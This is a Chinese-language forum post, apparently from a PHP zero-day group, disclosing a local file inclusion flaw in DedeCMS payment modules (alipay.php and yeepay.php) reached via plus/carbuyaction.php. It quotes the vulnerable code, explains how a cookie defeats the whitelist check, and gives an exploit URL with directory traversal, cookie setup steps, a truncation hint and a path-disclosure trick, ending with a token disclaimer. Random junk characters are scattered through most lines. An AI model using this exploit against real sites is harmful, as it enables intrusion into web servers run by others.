晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)3 H3 y( V' t7 U) v* T3 d6 n
5 {! o* B/ ]9 h7 r# F. k5 l出现漏洞的两个文件为:
: y- W8 `+ M8 u5 _Include/payment/alipay.php
5 w8 q. L5 D# Y9 RInclude/payment/yeepay.php
- u. Y5 O" O! p' ^3 c9 U; O* j漏洞均出现在respond方法里,估计这两个文件是临时工写的。& X" D! g# Y) b' [ b
: c1 x: O; H) | v
Include/payment/alipay.php
# J6 b4 c( @, i) q. x% J# B# C' _, @
......, M( R0 d$ o8 L4 P K3 W/ z0 U( c
function respond()
6 ^8 U6 @) Z1 ], v {
/ V. F" l; x, H2 d if (!empty($_POST))/ i( g. y% H. t$ X3 i
{! V: a- Y, V$ Z3 b# W& J1 I7 D% I
foreach($_POST as $key => $data)
/ e1 x7 W/ m' L {3 P6 E' S; }# C. q' ^% |8 U
$_GET[$key] = $data;
$ p2 ]6 w; }. V0 k Z }/ J1 S$ Z+ O1 t- n* L
}! P: B% a, {) S
/* 引入配置文件 */
9 Z- B0 m! _5 L. X8 f" w4 @" ^ require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';3 |; [! f- N- p" m6 y8 e( \
......
* g1 {9 m9 F o3 Y# M) z! ^
" S9 u1 d7 i% Z5 x; W+ R
/ g: L+ G% D" e9 V+ W大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
' k% L: g4 B& x# O: V$ V
7 U* Q3 ]% Y7 X4 f- I" ^Include/payment/yeepay.php
7 C7 d2 p9 _ r: t6 @8 u( T8 _8 _2 ^/ B
' m1 p: \" [- y5 L! w- o* k
" [( { j U7 s& J, }
......
: w6 m! f9 v- ?5 k function respond()$ _3 g/ ]/ w1 b; U, A) I# l9 s
{/ S7 I& x# }& n h4 q4 R( F0 P
* R6 S c* T! \# n6 ?- @ /* 引入配置文件 */, {" a# q. r' E- C! O
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';8 J$ D, l m m! [8 I7 Q
* p( b$ a- U2 Q5 z9 q9 z- ^4 v7 t
$p1_MerId = trim($payment['yp_account']);6 L1 P& n5 ?$ a3 K
$merchantKey = trim($payment['yp_key']);( R. C- x' R: n0 M, X
...... - M1 U! v0 m0 f3 |) K7 G7 C2 M2 D- y
, r5 _2 i# k+ J; ^/ r8 a# n3 M4 J9 R/ E7 @
# s: J) R- N b2 j( c$ g2 l* x8 {
+ j" `2 r/ B; V1 u( d0 k' F大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。; F0 e; u7 T/ I: Y0 @' n
. D' E/ w* Z c) H( `6 T
这两个方法在plus/carbuyaction.php文件调用。
4 A' T! f4 I+ g" P) |
" Z. y9 c1 p& Y: R+ {plus/carbuyaction.php2 h& a. f* `. c: o$ x$ _" z
! C9 }0 i5 y+ q. r2 k# F1 U: q, ^......2 O6 q; b0 R% u: f" R1 h8 O$ n& C
} else if ($dopost == 'return') {, e4 T H9 d; e! E7 V5 r: n4 S
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
+ @. t- o1 X' h( e6 J! Q5 k+ ? if (in_array($code, $write_list)) l$ f ^3 A3 w7 O
{
8 t' T1 J. z4 Y% A$ a require_once DEDEINC.'/payment/'.$code.'.php';) |9 d: P$ e, i1 l" s7 w
$pay = new $code;0 ~1 u' A7 d8 q E( q& I5 D
$msg=$pay->respond();
' A( ~1 T$ @1 `) b& D ShowMsg($msg, "javascript:;", 0, 3000);7 ?2 E( Z0 l9 M, ?- g
exit(); 7 [" u: M5 ?: z4 A
} else {
9 J1 k) F4 `$ J* P7 O exit('Error:File Type Can\'t Recognized!');
. M, x& j$ p" p }* m L& P+ N5 B5 y
}
: v4 W. t* S% `! G......
* G/ p% R' d/ m; P) b- C ) l: p+ n6 a) W1 c. M- p m
7 W& o2 q" Q9 g- d+ d& a
. L, I! c4 `$ Q7 P, m, S
$ h8 z# {; h/ R) b% R' I2 D- ] . Y: T% u( n' |* C2 l+ o1 ^; N% s
, K4 l7 ~+ \, c A大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
; K, [$ ~2 _9 g0 a7 r% z% O所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
. U8 B( e! N' H4 b2 S! T$ h+ m# i0 P d, S- C: }3 @
回到include/common.inc.php来看看他的机制。
& j/ e$ _5 ^/ e; ?8 r, }( X
' @' u0 _2 w) j+ b# N$ L7 E1 A# q9 h , O0 M0 J2 z c6 c( o6 S
: V8 O7 }. ^& b% a
......
" h$ w# s! q6 sforeach(Array('_GET','_POST','_COOKIE') as $_request)
' K1 N2 k) ]' Q8 ^5 t{! T2 u5 P! H" R( Q. b4 t2 y
foreach($$_request as $_k => $_v)
" L9 W2 d- f8 b; k& X {+ d& ]" }! D; @! y7 {4 H& a, A; f
if($_k == 'nvarname') ${$_k} = $_v;9 t1 i1 b% u2 u2 c* `3 a2 j3 |$ E
else ${$_k} = _RunMagicQuotes($_v);! V/ N& J0 \- z; N3 r# f
}3 ?8 x" c }6 \/ t- Q( T0 m
}* Z0 _$ }& g/ m
...... : Q1 C& E5 O7 H- K# a- t
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:5 c4 u# _) c O# h. U5 t" I
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |